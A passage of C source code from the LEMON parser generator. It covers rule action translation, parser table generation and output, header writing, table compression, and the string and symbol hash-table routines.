sprintf(zInt, "%d", p1);
p1 = p2;
strcpy(&z[used], zInt);
used += strlen(&z[used]);
zText++;
n--;
}else{
z[used++] = c;
}
}
z[used] = 0;
return z;
}
/*
** zCode is a string that is the action associated with a rule. Expand
** the symbols in this string so that the refer to elements of the parser
** stack. Return a new string stored in space obtained from malloc.
*/
PRIVATE char *translate_code(struct lemon *lemp, struct rule *rp){
char *cp, *xp;
int i;
char lhsused = 0; /* True if the LHS element has been used */
char used[MAXRHS]; /* True for each RHS element which is used */
for(i=0; i<rp->nrhs; i++) used[i] = 0;
lhsused = 0;
append_str(0,0,0,0);
for(cp=rp->code; *cp; cp++){
if( isalpha(*cp) && (cp==rp->code || (!isalnum(cp[-1]) && cp[-1]!='_')) ){
char saved;
for(xp= &cp[1]; isalnum(*xp) || *xp=='_'; xp++);
saved = *xp;
*xp = 0;
if( rp->lhsalias && strcmp(cp,rp->lhsalias)==0 ){
append_str("yygotominor.yy%d",0,rp->lhs->dtnum,0);
cp = xp;
lhsused = 1;
}else{
for(i=0; i<rp->nrhs; i++){
if( rp->rhsalias[i] && strcmp(cp,rp->rhsalias[i])==0 ){
if( cp!=rp->code && cp[-1]=='@' ){
/* If the argument is of the form @X then substituted
** the token number of X, not the value of X */
append_str("yymsp[%d].major",-1,i-rp->nrhs+1,0);
}else{
append_str("yymsp[%d].minor.yy%d",0,
i-rp->nrhs+1,rp->rhs[i]->dtnum);
}
cp = xp;
used[i] = 1;
break;
}
}
}
*xp = saved;
}
append_str(cp, 1, 0, 0);
} /* End loop */
/* Check to make sure the LHS has been used */
if( rp->lhsalias && !lhsused ){
ErrorMsg(lemp->filename,rp->ruleline,
"Label \"%s\" for \"%s(%s)\" is never used.",
rp->lhsalias,rp->lhs->name,rp->lhsalias);
lemp->errorcnt++;
}
/* Generate destructor code for RHS symbols which are not used in the
** reduce code */
for(i=0; i<rp->nrhs; i++){
if( rp->rhsalias[i] && !used[i] ){
ErrorMsg(lemp->filename,rp->ruleline,
"Label %s for \"%s(%s)\" is never used.",
rp->rhsalias[i],rp->rhs[i]->name,rp->rhsalias[i]);
lemp->errorcnt++;
}else if( rp->rhsalias[i]==0 ){
if( has_destructor(rp->rhs[i],lemp) ){
append_str(" yy_destructor(%d,&yymsp[%d].minor);\n", 0,
rp->rhs[i]->index,i-rp->nrhs+1);
}else{
/* No destructor defined for this term */
}
}
}
cp = append_str(0,0,0,0);
rp->code = Strsafe(cp);
}
/*
** Generate code which executes when the rule "rp" is reduced. Write
** the code to "out". Make sure lineno stays up-to-date.
*/
PRIVATE void emit_code(out,rp,lemp,lineno)
FILE *out;
struct rule *rp;
struct lemon *lemp;
int *lineno;
{
char *cp;
int linecnt = 0;
/* Generate code to do the reduce action */
if( rp->code ){
fprintf(out,"#line %d \"%s\"\n{",rp->line,lemp->filename);
fprintf(out,"%s",rp->code);
for(cp=rp->code; *cp; cp++){
if( *cp=='\n' ) linecnt++;
} /* End loop */
(*lineno) += 3 + linecnt;
fprintf(out,"}\n#line %d \"%s\"\n",*lineno,lemp->outname);
} /* End if( rp->code ) */
return;
}
/*
** Print the definition of the union used for the parser's data stack.
** This union contains fields for every possible data type for tokens
** and nonterminals. In the process of computing and printing this
** union, also set the ".dtnum" field of every terminal and nonterminal
** symbol.
*/
void print_stack_union(out,lemp,plineno,mhflag)
FILE *out; /* The output stream */
struct lemon *lemp; /* The main info structure for this parser */
int *plineno; /* Pointer to the line number */
int mhflag; /* True if generating makeheaders output */
{
int lineno = *plineno; /* The line number of the output */
char **types; /* A hash table of datatypes */
int arraysize; /* Size of the "types" array */
int maxdtlength; /* Maximum length of any ".datatype" field. */
char *stddt; /* Standardized name for a datatype */
int i,j; /* Loop counters */
int hash; /* For hashing the name of a type */
char *name; /* Name of the parser */
/* Allocate and initialize types[] and allocate stddt[] */
arraysize = lemp->nsymbol * 2;
types = (char**)malloc( arraysize * sizeof(char*) );
for(i=0; i<arraysize; i++) types[i] = 0;
maxdtlength = 0;
if( lemp->vartype ){
maxdtlength = strlen(lemp->vartype);
}
for(i=0; i<lemp->nsymbol; i++){
int len;
struct symbol *sp = lemp->symbols[i];
if( sp->datatype==0 ) continue;
len = strlen(sp->datatype);
if( len>maxdtlength ) maxdtlength = len;
}
stddt = (char*)malloc( maxdtlength*2 + 1 );
if( types==0 || stddt==0 ){
fprintf(stderr,"Out of memory.\n");
exit(1);
}
/* Build a hash table of datatypes. The ".dtnum" field of each symbol
** is filled in with the hash index plus 1. A ".dtnum" value of 0 is
** used for terminal symbols. If there is no %default_type defined then
** 0 is also used as the .dtnum value for nonterminals which do not specify
** a datatype using the %type directive.
*/
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
char *cp;
if( sp==lemp->errsym ){
sp->dtnum = arraysize+1;
continue;
}
if( sp->type!=NONTERMINAL || (sp->datatype==0 && lemp->vartype==0) ){
sp->dtnum = 0;
continue;
}
cp = sp->datatype;
if( cp==0 ) cp = lemp->vartype;
j = 0;
while( isspace(*cp) ) cp++;
while( *cp ) stddt[j++] = *cp++;
while( j>0 && isspace(stddt[j-1]) ) j--;
stddt[j] = 0;
hash = 0;
for(j=0; stddt[j]; j++){
hash = hash*53 + stddt[j];
}
hash = (hash & 0x7fffffff)%arraysize;
while( types[hash] ){
if( strcmp(types[hash],stddt)==0 ){
sp->dtnum = hash + 1;
break;
}
hash++;
if( hash>=arraysize ) hash = 0;
}
if( types[hash]==0 ){
sp->dtnum = hash + 1;
types[hash] = (char*)malloc( strlen(stddt)+1 );
if( types[hash]==0 ){
fprintf(stderr,"Out of memory.\n");
exit(1);
}
strcpy(types[hash],stddt);
}
}
/* Print out the definition of YYTOKENTYPE and YYMINORTYPE */
name = lemp->name ? lemp->name : "Parse";
lineno = *plineno;
if( mhflag ){ fprintf(out,"#if INTERFACE\n"); lineno++; }
fprintf(out,"#define %sTOKENTYPE %s\n",name,
lemp->tokentype?lemp->tokentype:"void*"); lineno++;
if( mhflag ){ fprintf(out,"#endif\n"); lineno++; }
fprintf(out,"typedef union {\n"); lineno++;
fprintf(out," %sTOKENTYPE yy0;\n",name); lineno++;
for(i=0; i<arraysize; i++){
if( types[i]==0 ) continue;
fprintf(out," %s yy%d;\n",types[i],i+1); lineno++;
free(types[i]);
}
fprintf(out," int yy%d;\n",lemp->errsym->dtnum); lineno++;
free(stddt);
free(types);
fprintf(out,"} YYMINORTYPE;\n"); lineno++;
*plineno = lineno;
}
/*
** Return the name of a C datatype able to represent values between
** lwr and upr, inclusive.
*/
static const char *minimum_size_type(int lwr, int upr){
if( lwr>=0 ){
if( upr<=255 ){
return "unsigned char";
}else if( upr<65535 ){
return "unsigned short int";
}else{
return "unsigned int";
}
}else if( lwr>=-127 && upr<=127 ){
return "signed char";
}else if( lwr>=-32767 && upr<32767 ){
return "short";
}else{
return "int";
}
}
/*
** Each state contains a set of token transaction and a set of
** nonterminal transactions. Each of these sets makes an instance
** of the following structure. An array of these structures is used
** to order the creation of entries in the yy_action[] table.
*/
struct axset {
struct state *stp; /* A pointer to a state */
int isTkn; /* True to use tokens. False for non-terminals */
int nAction; /* Number of actions */
};
/*
** Compare to axset structures for sorting purposes
*/
static int axset_compare(const void *a, const void *b){
struct axset *p1 = (struct axset*)a;
struct axset *p2 = (struct axset*)b;
return p2->nAction - p1->nAction;
}
/* Generate C source code for the parser */
void ReportTable(lemp, mhflag)
struct lemon *lemp;
int mhflag; /* Output in makeheaders format if true */
{
FILE *out, *in;
char line[LINESIZE];
int lineno;
struct state *stp;
struct action *ap;
struct rule *rp;
struct acttab *pActtab;
int i, j, n;
char *name;
int mnTknOfst, mxTknOfst;
int mnNtOfst, mxNtOfst;
struct axset *ax;
in = tplt_open(lemp);
if( in==0 ) return;
out = file_open(lemp,".c","w");
if( out==0 ){
fclose(in);
return;
}
lineno = 1;
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the include code, if any */
tplt_print(out,lemp,lemp->include,lemp->includeln,&lineno);
if( mhflag ){
char *name = file_makename(lemp, ".h");
fprintf(out,"#include \"%s\"\n", name); lineno++;
free(name);
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate #defines for all tokens */
if( mhflag ){
char *prefix;
fprintf(out,"#if INTERFACE\n"); lineno++;
if( lemp->tokenprefix ) prefix = lemp->tokenprefix;
else prefix = "";
for(i=1; i<lemp->nterminal; i++){
fprintf(out,"#define %s%-30s %2d\n",prefix,lemp->symbols[i]->name,i);
lineno++;
}
fprintf(out,"#endif\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the defines */
fprintf(out,"#define YYCODETYPE %s\n",
minimum_size_type(0, lemp->nsymbol+5)); lineno++;
fprintf(out,"#define YYNOCODE %d\n",lemp->nsymbol+1); lineno++;
fprintf(out,"#define YYACTIONTYPE %s\n",
minimum_size_type(0, lemp->nstate+lemp->nrule+5)); lineno++;
print_stack_union(out,lemp,&lineno,mhflag);
if( lemp->stacksize ){
if( atoi(lemp->stacksize)<=0 ){
ErrorMsg(lemp->filename,0,
"Illegal stack size: [%s]. The stack size should be an integer constant.",
lemp->stacksize);
lemp->errorcnt++;
lemp->stacksize = "100";
}
fprintf(out,"#define YYSTACKDEPTH %s\n",lemp->stacksize); lineno++;
}else{
fprintf(out,"#define YYSTACKDEPTH 100\n"); lineno++;
}
if( mhflag ){
fprintf(out,"#if INTERFACE\n"); lineno++;
}
name = lemp->name ? lemp->name : "Parse";
if( lemp->arg && lemp->arg[0] ){
int i;
i = strlen(lemp->arg);
while( i>=1 && isspace(lemp->arg[i-1]) ) i--;
while( i>=1 && (isalnum(lemp->arg[i-1]) || lemp->arg[i-1]=='_') ) i--;
fprintf(out,"#define %sARG_SDECL %s;\n",name,lemp->arg); lineno++;
fprintf(out,"#define %sARG_PDECL ,%s\n",name,lemp->arg); lineno++;
fprintf(out,"#define %sARG_FETCH %s = yypParser->%s\n",
name,lemp->arg,&lemp->arg[i]); lineno++;
fprintf(out,"#define %sARG_STORE yypParser->%s = %s\n",
name,&lemp->arg[i],&lemp->arg[i]); lineno++;
}else{
fprintf(out,"#define %sARG_SDECL\n",name); lineno++;
fprintf(out,"#define %sARG_PDECL\n",name); lineno++;
fprintf(out,"#define %sARG_FETCH\n",name); lineno++;
fprintf(out,"#define %sARG_STORE\n",name); lineno++;
}
if( mhflag ){
fprintf(out,"#endif\n"); lineno++;
}
fprintf(out,"#define YYNSTATE %d\n",lemp->nstate); lineno++;
fprintf(out,"#define YYNRULE %d\n",lemp->nrule); lineno++;
fprintf(out,"#define YYERRORSYMBOL %d\n",lemp->errsym->index); lineno++;
fprintf(out,"#define YYERRSYMDT yy%d\n",lemp->errsym->dtnum); lineno++;
if( lemp->has_fallback ){
fprintf(out,"#define YYFALLBACK 1\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the action table and its associates:
**
** yy_action[] A single table containing all actions.
** yy_lookahead[] A table containing the lookahead for each entry in
** yy_action. Used to detect hash collisions.
** yy_shift_ofst[] For each state, the offset into yy_action for
** shifting terminals.
** yy_reduce_ofst[] For each state, the offset into yy_action for
** shifting non-terminals after a reduce.
** yy_default[] Default action for each state.
*/
/* Compute the actions on all states and count them up */
ax = malloc( sizeof(ax[0])*lemp->nstate*2 );
if( ax==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
stp->nTknAct = stp->nNtAct = 0;
stp->iDflt = lemp->nstate + lemp->nrule;
stp->iTknOfst = NO_OFFSET;
stp->iNtOfst = NO_OFFSET;
for(ap=stp->ap; ap; ap=ap->next){
if( compute_action(lemp,ap)>=0 ){
if( ap->sp->index<lemp->nterminal ){
stp->nTknAct++;
}else if( ap->sp->index<lemp->nsymbol ){
stp->nNtAct++;
}else{
stp->iDflt = compute_action(lemp, ap);
}
}
}
ax[i*2].stp = stp;
ax[i*2].isTkn = 1;
ax[i*2].nAction = stp->nTknAct;
ax[i*2+1].stp = stp;
ax[i*2+1].isTkn = 0;
ax[i*2+1].nAction = stp->nNtAct;
}
mxTknOfst = mnTknOfst = 0;
mxNtOfst = mnNtOfst = 0;
/* Compute the action table. In order to try to keep the size of the
** action table to a minimum, the heuristic of placing the largest action
** sets first is used.
*/
qsort(ax, lemp->nstate*2, sizeof(ax[0]), axset_compare);
pActtab = acttab_alloc();
for(i=0; i<lemp->nstate*2 && ax[i].nAction>0; i++){
stp = ax[i].stp;
if( ax[i].isTkn ){
for(ap=stp->ap; ap; ap=ap->next){
int action;
if( ap->sp->index>=lemp->nterminal ) continue;
action = compute_action(lemp, ap);
if( action<0 ) continue;
acttab_action(pActtab, ap->sp->index, action);
}
stp->iTknOfst = acttab_insert(pActtab);
if( stp->iTknOfst<mnTknOfst ) mnTknOfst = stp->iTknOfst;
if( stp->iTknOfst>mxTknOfst ) mxTknOfst = stp->iTknOfst;
}else{
for(ap=stp->ap; ap; ap=ap->next){
int action;
if( ap->sp->index<lemp->nterminal ) continue;
if( ap->sp->index==lemp->nsymbol ) continue;
action = compute_action(lemp, ap);
if( action<0 ) continue;
acttab_action(pActtab, ap->sp->index, action);
}
stp->iNtOfst = acttab_insert(pActtab);
if( stp->iNtOfst<mnNtOfst ) mnNtOfst = stp->iNtOfst;
if( stp->iNtOfst>mxNtOfst ) mxNtOfst = stp->iNtOfst;
}
}
free(ax);
/* Output the yy_action table */
fprintf(out,"static YYACTIONTYPE yy_action[] = {\n"); lineno++;
n = acttab_size(pActtab);
for(i=j=0; i<n; i++){
int action = acttab_yyaction(pActtab, i);
if( action<0 ) action = lemp->nsymbol + lemp->nrule + 2;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", action);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_lookahead table */
fprintf(out,"static YYCODETYPE yy_lookahead[] = {\n"); lineno++;
for(i=j=0; i<n; i++){
int la = acttab_yylookahead(pActtab, i);
if( la<0 ) la = lemp->nsymbol;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", la);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_shift_ofst[] table */
fprintf(out, "#define YY_SHIFT_USE_DFLT (%d)\n", mnTknOfst-1); lineno++;
fprintf(out, "static %s yy_shift_ofst[] = {\n",
minimum_size_type(mnTknOfst-1, mxTknOfst)); lineno++;
n = lemp->nstate;
for(i=j=0; i<n; i++){
int ofst;
stp = lemp->sorted[i];
ofst = stp->iTknOfst;
if( ofst==NO_OFFSET ) ofst = mnTknOfst - 1;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", ofst);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_reduce_ofst[] table */
fprintf(out, "#define YY_REDUCE_USE_DFLT (%d)\n", mnNtOfst-1); lineno++;
fprintf(out, "static %s yy_reduce_ofst[] = {\n",
minimum_size_type(mnNtOfst-1, mxNtOfst)); lineno++;
n = lemp->nstate;
for(i=j=0; i<n; i++){
int ofst;
stp = lemp->sorted[i];
ofst = stp->iNtOfst;
if( ofst==NO_OFFSET ) ofst = mnNtOfst - 1;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", ofst);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the default action table */
fprintf(out, "static YYACTIONTYPE yy_default[] = {\n"); lineno++;
n = lemp->nstate;
for(i=j=0; i<n; i++){
stp = lemp->sorted[i];
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", stp->iDflt);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the table of fallback tokens.
*/
if( lemp->has_fallback ){
for(i=0; i<lemp->nterminal; i++){
struct symbol *p = lemp->symbols[i];
if( p->fallback==0 ){
fprintf(out, " 0, /* %10s => nothing */\n", p->name);
}else{
fprintf(out, " %3d, /* %10s => %s */\n", p->fallback->index,
p->name, p->fallback->name);
}
lineno++;
}
}
tplt_xfer(lemp->name, in, out, &lineno);
/* Generate a table containing the symbolic name of every symbol
*/
for(i=0; i<lemp->nsymbol; i++){
sprintf(line,"\"%s\",",lemp->symbols[i]->name);
fprintf(out," %-15s",line);
if( (i&3)==3 ){ fprintf(out,"\n"); lineno++; }
}
if( (i&3)!=0 ){ fprintf(out,"\n"); lineno++; }
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate a table containing a text string that describes every
** rule in the rule set of the grammer. This information is used
** when tracing REDUCE actions.
*/
for(i=0, rp=lemp->rule; rp; rp=rp->next, i++){
assert( rp->index==i );
fprintf(out," /* %3d */ \"%s ::=", i, rp->lhs->name);
for(j=0; j<rp->nrhs; j++) fprintf(out," %s",rp->rhs[j]->name);
fprintf(out,"\",\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes every time a symbol is popped from
** the stack while processing errors or while destroying the parser.
** (In other words, generate the %destructor actions)
*/
if( lemp->tokendest ){
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type!=TERMINAL ) continue;
fprintf(out," case %d:\n",sp->index); lineno++;
}
for(i=0; i<lemp->nsymbol && lemp->symbols[i]->type!=TERMINAL; i++);
if( i<lemp->nsymbol ){
emit_destructor_code(out,lemp->symbols[i],lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
}
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type==TERMINAL || sp->destructor==0 ) continue;
fprintf(out," case %d:\n",sp->index); lineno++;
/* Combine duplicate destructors into a single case */
for(j=i+1; j<lemp->nsymbol; j++){
struct symbol *sp2 = lemp->symbols[j];
if( sp2 && sp2->type!=TERMINAL && sp2->destructor
&& sp2->dtnum==sp->dtnum
&& strcmp(sp->destructor,sp2->destructor)==0 ){
fprintf(out," case %d:\n",sp2->index); lineno++;
sp2->destructor = 0;
}
}
emit_destructor_code(out,lemp->symbols[i],lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
if( lemp->vardest ){
struct symbol *dflt_sp = 0;
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type==TERMINAL ||
sp->index<=0 || sp->destructor!=0 ) continue;
fprintf(out," case %d:\n",sp->index); lineno++;
dflt_sp = sp;
}
if( dflt_sp!=0 ){
emit_destructor_code(out,dflt_sp,lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes whenever the parser stack overflows */
tplt_print(out,lemp,lemp->overflow,lemp->overflowln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the table of rule information
**
** Note: This code depends on the fact that rules are number
** sequentually beginning with 0.
*/
for(rp=lemp->rule; rp; rp=rp->next){
fprintf(out," { %d, %d },\n",rp->lhs->index,rp->nrhs); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which execution during each REDUCE action */
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->code ) translate_code(lemp, rp);
}
for(rp=lemp->rule; rp; rp=rp->next){
struct rule *rp2;
if( rp->code==0 ) continue;
fprintf(out," case %d:\n",rp->index); lineno++;
for(rp2=rp->next; rp2; rp2=rp2->next){
if( rp2->code==rp->code ){
fprintf(out," case %d:\n",rp2->index); lineno++;
rp2->code = 0;
}
}
emit_code(out,rp,lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes if a parse fails */
tplt_print(out,lemp,lemp->failure,lemp->failureln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes when a syntax error occurs */
tplt_print(out,lemp,lemp->error,lemp->errorln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes when the parser accepts its input */
tplt_print(out,lemp,lemp->accept,lemp->acceptln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Append any addition code the user desires */
tplt_print(out,lemp,lemp->extracode,lemp->extracodeln,&lineno);
fclose(in);
fclose(out);
return;
}
/* Generate a header file for the parser */
void ReportHeader(lemp)
struct lemon *lemp;
{
FILE *out, *in;
char *prefix;
char line[LINESIZE];
char pattern[LINESIZE];
int i;
if( lemp->tokenprefix ) prefix = lemp->tokenprefix;
else prefix = "";
in = file_open(lemp,".h","r");
if( in ){
for(i=1; i<lemp->nterminal && fgets(line,LINESIZE,in); i++){
sprintf(pattern,"#define %s%-30s %2d\n",prefix,lemp->symbols[i]->name,i);
if( strcmp(line,pattern) ) break;
}
fclose(in);
if( i==lemp->nterminal ){
/* No change in the file. Don't rewrite it. */
return;
}
}
out = file_open(lemp,".h","w");
if( out ){
for(i=1; i<lemp->nterminal; i++){
fprintf(out,"#define %s%-30s %2d\n",prefix,lemp->symbols[i]->name,i);
}
fclose(out);
}
return;
}
/* Reduce the size of the action tables, if possible, by making use
** of defaults.
**
** In this version, we take the most frequent REDUCE action and make
** it the default. Only default a reduce if there are more than one.
*/
void CompressTables(lemp)
struct lemon *lemp;
{
struct state *stp;
struct action *ap, *ap2;
struct rule *rp, *rp2, *rbest;
int nbest, n;
int i;
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
nbest = 0;
rbest = 0;
for(ap=stp->ap; ap; ap=ap->next){
if( ap->type!=REDUCE ) continue;
rp = ap->x.rp;
if( rp==rbest ) continue;
n = 1;
for(ap2=ap->next; ap2; ap2=ap2->next){
if( ap2->type!=REDUCE ) continue;
rp2 = ap2->x.rp;
if( rp2==rbest ) continue;
if( rp2==rp ) n++;
}
if( n>nbest ){
nbest = n;
rbest = rp;
}
}
/* Do not make a default if the number of rules to default
** is not at least 2 */
if( nbest<2 ) continue;
/* Combine matching REDUCE actions into a single default */
for(ap=stp->ap; ap; ap=ap->next){
if( ap->type==REDUCE && ap->x.rp==rbest ) break;
}
assert( ap );
ap->sp = Symbol_new("{default}");
for(ap=ap->next; ap; ap=ap->next){
if( ap->type==REDUCE && ap->x.rp==rbest ) ap->type = NOT_USED;
}
stp->ap = Action_sort(stp->ap);
}
}
/***************** From the file "set.c" ************************************/
/*
** Set manipulation routines for the LEMON parser generator.
*/
static int size = 0;
/* Set the set size */
void SetSize(n)
int n;
{
size = n+1;
}
/* Allocate a new set */
char *SetNew(){
char *s;
int i;
s = (char*)malloc( size );
if( s==0 ){
extern void memory_error();
memory_error();
}
for(i=0; i<size; i++) s[i] = 0;
return s;
}
/* Deallocate a set */
void SetFree(s)
char *s;
{
free(s);
}
/* Add a new element to the set. Return TRUE if the element was added
** and FALSE if it was already there. */
int SetAdd(s,e)
char *s;
int e;
{
int rv;
rv = s[e];
s[e] = 1;
return !rv;
}
/* Add every element of s2 to s1. Return TRUE if s1 changes. */
int SetUnion(s1,s2)
char *s1;
char *s2;
{
int i, progress;
progress = 0;
for(i=0; i<size; i++){
if( s2[i]==0 ) continue;
if( s1[i]==0 ){
progress = 1;
s1[i] = 1;
}
}
return progress;
}
/********************** From the file "table.c" ****************************/
/*
** All code in this file has been automatically generated
** from a specification in the file
** "table.q"
** by the associative array code building program "aagen".
** Do not edit this file! Instead, edit the specification
** file, then rerun aagen.
*/
/*
** Code for processing tables in the LEMON parser generator.
*/
PRIVATE int strhash(x)
char *x;
{
int h = 0;
while( *x) h = h*13 + *(x++);
return h;
}
/* Works like strdup, sort of. Save a string in malloced memory, but
** keep strings in a table so that the same string is not in more
** than one place.
*/
char *Strsafe(y)
char *y;
{
char *z;
z = Strsafe_find(y);
if( z==0 && (z=malloc( strlen(y)+1 ))!=0 ){
strcpy(z,y);
Strsafe_insert(z);
}
MemoryCheck(z);
return z;
}
/* There is one instance of the following structure for each
** associative array of type "x1".
*/
struct s_x1 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x1node *tbl; /* The data stored here */
struct s_x1node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x1".
*/
typedef struct s_x1node {
char *data; /* The data */
struct s_x1node *next; /* Next entry with the same hash */
struct s_x1node **from; /* Previous link */
} x1node;
/* There is only one instance of the array, which is the following */
static struct s_x1 *x1a;
/* Allocate a new associative array */
void Strsafe_init(){
if( x1a ) return;
x1a = (struct s_x1*)malloc( sizeof(struct s_x1) );
if( x1a ){
x1a->size = 1024;
x1a->count = 0;
x1a->tbl = (x1node*)malloc(
(sizeof(x1node) + sizeof(x1node*))*1024 );
if( x1a->tbl==0 ){
free(x1a);
x1a = 0;
}else{
int i;
x1a->ht = (x1node**)&(x1a->tbl[1024]);
for(i=0; i<1024; i++) x1a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Strsafe_insert(data)
char *data;
{
x1node *np;
int h;
int ph;
if( x1a==0 ) return 0;
ph = strhash(data);
h = ph & (x1a->size-1);
np = x1a->ht[h];
while( np ){
if( strcmp(np->data,data)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x1a->count>=x1a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x1 array;
array.size = size = x1a->size*2;
array.count = x1a->count;
array.tbl = (x1node*)malloc(
(sizeof(x1node) + sizeof(x1node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x1node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x1a->count; i++){
x1node *oldnp, *newnp;
oldnp = &(x1a->tbl[i]);
h = strhash(oldnp->data) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x1a->tbl);
*x1a = array;
}
/* Insert the new data */
h = ph & (x1a->size-1);
np = &(x1a->tbl[x1a->count++]);
np->data = data;
if( x1a->ht[h] ) x1a->ht[h]->from = &(np->next);
np->next = x1a->ht[h];
x1a->ht[h] = np;
np->from = &(x1a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
char *Strsafe_find(key)
char *key;
{
int h;
x1node *np;
if( x1a==0 ) return 0;
h = strhash(key) & (x1a->size-1);
np = x1a->ht[h];
while( np ){
if( strcmp(np->data,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return a pointer to the (terminal or nonterminal) symbol "x".
** Create a new symbol if this is the first time "x" has been seen.
*/
struct symbol *Symbol_new(x)
char *x;
{
struct symbol *sp;
sp = Symbol_find(x);
if( sp==0 ){
sp = (struct symbol *)malloc( sizeof(struct symbol) );
MemoryCheck(sp);
sp->name = Strsafe(x);
sp->type = isupper(*x) ? TERMINAL : NONTERMINAL;
sp->rule = 0;
sp->fallback = 0;
sp->prec = -1;
sp->assoc = UNK;
sp->firstset = 0;
sp->lambda = B_FALSE;
sp->destructor = 0;
sp->datatype = 0;
Symbol_insert(sp,sp->name);
}
return sp;
}
/* Compare two symbols for working purposes
**
** Symbols that begin with upper case letters (terminals or tokens)
** must sort before symbols that begin with lower case letters
** (non-terminals). Other than that, the order does not matter.
**
** We find experimentally that leaving the symbols in their original
** order (the order they appeared in the grammar file) gives the
** smallest parser tables in SQLite.
*/
int Symbolcmpp(struct symbol **a, struct symbol **b){
int i1 = (**a).index + 10000000*((**a).name[0]>'Z');
int i2 = (**b).index + 10000000*((**b).name[0]>'Z');
return i1-i2;
}
/* There is one instance of the following structure for each
** associative array of type "x2".
*/
struct s_x2 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x2node *tbl; /* The data stored here */
struct s_x2node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x2".
*/
typedef struct s_x2node {
struct symbol *data; /* The data */
char *key; /* The key */
struct s_x2node *next; /* Next entry with the same hash */
struct s_x2node **from; /* Previous link */
} x2node;
/* There is only one instance of the array, which is the following */
static struct s_x2 *x2a;
/* Allocate a new associative array */
void Symbol_init(){
if( x2a ) return;
x2a = (struct s_x2*)malloc( sizeof(struct s_x2) );
if( x2a ){
x2a->size = 128;
x2a->count = 0;
x2a->tbl = (x2node*)malloc(
(sizeof(x2node) + sizeof(x2node*))*128 );
if( x2a->tbl==0 ){
free(x2a);
x2a = 0;
}else{
int i;
x2a->ht = (x2node**)&(x2a->tbl[128]);
for(i=0; i<128; i++) x2a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Symbol_insert(data,key)
struct symbol *data;
char *key;
{
x2node *np;
int h;
int ph;
if( x2a==0 ) return 0;
ph = strhash(key);
h = ph & (x2a->size-1);
np = x2a->ht[h];
while( np ){
if( strcmp(np->key,key)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x2a->count>=x2a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x2 array;
array.size = size = x2a->size*2;
array.count = x2a->count;
array.tbl = (x2node*)malloc(
